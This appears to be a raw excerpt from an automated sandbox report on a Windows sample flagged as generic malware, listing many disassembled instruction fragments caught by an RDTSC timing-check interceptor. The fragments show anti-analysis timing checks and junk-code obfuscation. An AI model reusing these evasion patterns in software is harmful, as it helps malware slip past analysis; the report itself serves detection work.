Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7882C0 second address: 7882EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAC60C4BF39h 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FAC60C4BF26h 0x00000012 jnl 00007FAC60C4BF26h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 788604 second address: 78860B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 78AF0A second address: 78AF5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAC60C4BF33h 0x0000000f nop 0x00000010 mov esi, eax 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 mov di, 3ED6h 0x00000019 pop edx 0x0000001a add ecx, dword ptr [ebp+13AB263Ah] 0x00000020 call 00007FAC60C4BF29h 0x00000025 push ebx 0x00000026 push ebx 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 pop ebx 0x0000002a pop ebx 0x0000002b push eax 0x0000002c pushad 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 78AF5B second address: 78AF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAC6125CCB6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 78B064 second address: 78B06A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 78B16F second address: 78B174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 78B257 second address: 78B2ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or si, 206Ch 0x00000013 push 00000000h 0x00000015 mov edx, dword ptr [ebp+13AB1931h] 0x0000001b push A42B9C34h 0x00000020 pushad 0x00000021 jng 00007FAC60C4BF28h 0x00000027 jmp 00007FAC60C4BF2Dh 0x0000002c popad 0x0000002d add dword ptr [esp], 5BD4644Ch 0x00000034 mov dword ptr [ebp+13AB27D6h], ebx 0x0000003a push 00000003h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007FAC60C4BF28h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 mov esi, dword ptr [ebp+13AB2A43h] 0x0000005c push 00000000h 0x0000005e jmp 00007FAC60C4BF2Fh 0x00000063 push 00000003h 0x00000065 push B78C6862h 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FAC60C4BF2Ah 0x00000073 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 78B2ED second address: 78B2F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AC16D second address: 7AC184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FAC60C4BF2Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7A9E86 second address: 7A9E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7A9E91 second address: 7A9EDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAC60C4BF37h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jp 00007FAC60C4BF3Fh 0x00000013 jmp 00007FAC60C4BF39h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FAC60C4BF2Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AA017 second address: 7AA01B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AA01B second address: 7AA01F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AA01F second address: 7AA030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007FAC6125CCA6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AA1C5 second address: 7AA1C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AAB80 second address: 7AABA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC6125CCAAh 0x00000009 popad 0x0000000a jbe 00007FAC6125CCACh 0x00000010 jne 00007FAC6125CCA6h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AABA0 second address: 7AABA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AAE73 second address: 7AAE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AB013 second address: 7AB018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 773B7B second address: 773B87 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAC6125CCA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 773B87 second address: 773BB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnp 00007FAC60C4BF2Ch 0x00000010 pushad 0x00000011 jno 00007FAC60C4BF26h 0x00000017 pushad 0x00000018 popad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 773BB3 second address: 773BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AB7B6 second address: 7AB7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AB7BC second address: 7AB7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FAC6125CCBEh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AB7E5 second address: 7AB832 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC60C4BF26h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e js 00007FAC60C4BF37h 0x00000014 jbe 00007FAC60C4BF3Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c jbe 00007FAC60C4BF26h 0x00000022 jno 00007FAC60C4BF26h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AB832 second address: 7AB836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7AB836 second address: 7AB84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAC60C4BF2Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ABFAF second address: 7ABFBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FAC6125CCA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ABFBA second address: 7ABFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B0B35 second address: 7B0B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FAC6125CCB2h 0x0000000d jmp 00007FAC6125CCB0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B0B5E second address: 7B0B6F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAC60C4BF2Ch 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 76EA25 second address: 76EA2F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAC6125CCA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 76EA2F second address: 76EA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77C266 second address: 77C275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAC6125CCA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77C275 second address: 77C292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B7FDA second address: 7B802C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAC6125CCB6h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007FAC6125CCA6h 0x00000014 jo 00007FAC6125CCA6h 0x0000001a popad 0x0000001b jmp 00007FAC6125CCABh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FAC6125CCB8h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 773B9F second address: 773BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jno 00007FAC60C4BF26h 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BAA30 second address: 7BAA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BAA34 second address: 7BAA57 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAC60C4BF26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC60C4BF35h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BAD0F second address: 7BAD18 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BB5B4 second address: 7BB5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BB660 second address: 7BB665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BB665 second address: 7BB66B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BB803 second address: 7BB808 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BB9CC second address: 7BB9D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BCA4A second address: 7BCA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C0A12 second address: 7C0A38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnp 00007FAC60C4BF2Ch 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C14FF second address: 7C1509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FAC6125CCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C1509 second address: 7C1555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push edi 0x0000000c and edi, dword ptr [ebp+13AB1AC3h] 0x00000012 pop esi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FAC60C4BF28h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 or edi, dword ptr [ebp+13AB17C8h] 0x00000037 movzx edi, bx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jl 00007FAC60C4BF28h 0x00000043 push edi 0x00000044 pop edi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C1555 second address: 7C155B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C3EF9 second address: 7C3EFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C3EFE second address: 7C3F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C3F04 second address: 7C3F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C3F11 second address: 7C3F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C444F second address: 7C4454 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C4454 second address: 7C445A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C445A second address: 7C44D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jbe 00007FAC60C4BF29h 0x0000000e mov di, dx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FAC60C4BF28h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d or di, 791Ch 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007FAC60C4BF28h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e jmp 00007FAC60C4BF33h 0x00000053 mov edi, eax 0x00000055 xchg eax, esi 0x00000056 jng 00007FAC60C4BF34h 0x0000005c push eax 0x0000005d push edx 0x0000005e push ebx 0x0000005f pop ebx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C6539 second address: 7C657B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FAC6125CCA8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 movsx edi, si 0x00000026 push 00000000h 0x00000028 mov di, 9FBAh 0x0000002c push 00000000h 0x0000002e cmc 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 js 00007FAC6125CCA6h 0x00000039 pop eax 0x0000003a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C7690 second address: 7C7694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C7694 second address: 7C769A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C769A second address: 7C76E2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAC60C4BF2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FAC60C4BF28h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 mov edi, dword ptr [ebp+13AB2C23h] 0x0000002d push 00000000h 0x0000002f sub dword ptr [ebp+13AB23B1h], edx 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C464E second address: 7C4708 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FAC6125CCACh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FAC6125CCA8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov ebx, 084B283Dh 0x0000002b push edi 0x0000002c jmp 00007FAC6125CCB2h 0x00000031 pop ebx 0x00000032 push dword ptr fs:[00000000h] 0x00000039 or dword ptr [ebp+13C5455Fh], ecx 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 mov bx, di 0x00000049 mov eax, dword ptr [ebp+13AB08EDh] 0x0000004f push 00000000h 0x00000051 push edi 0x00000052 call 00007FAC6125CCA8h 0x00000057 pop edi 0x00000058 mov dword ptr [esp+04h], edi 0x0000005c add dword ptr [esp+04h], 00000015h 0x00000064 inc edi 0x00000065 push edi 0x00000066 ret 0x00000067 pop edi 0x00000068 ret 0x00000069 call 00007FAC6125CCB6h 0x0000006e mov dword ptr [ebp+13AB3886h], edi 0x00000074 pop edi 0x00000075 push FFFFFFFFh 0x00000077 and ebx, dword ptr [ebp+13AB1ED6h] 0x0000007d push eax 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 jg 00007FAC6125CCA6h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C66CC second address: 7C66D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C76E2 second address: 7C76F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC6125CCB1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C4708 second address: 7C470C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C66D0 second address: 7C66D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C76F8 second address: 7C7702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FAC60C4BF26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C7702 second address: 7C7714 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAC6125CCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
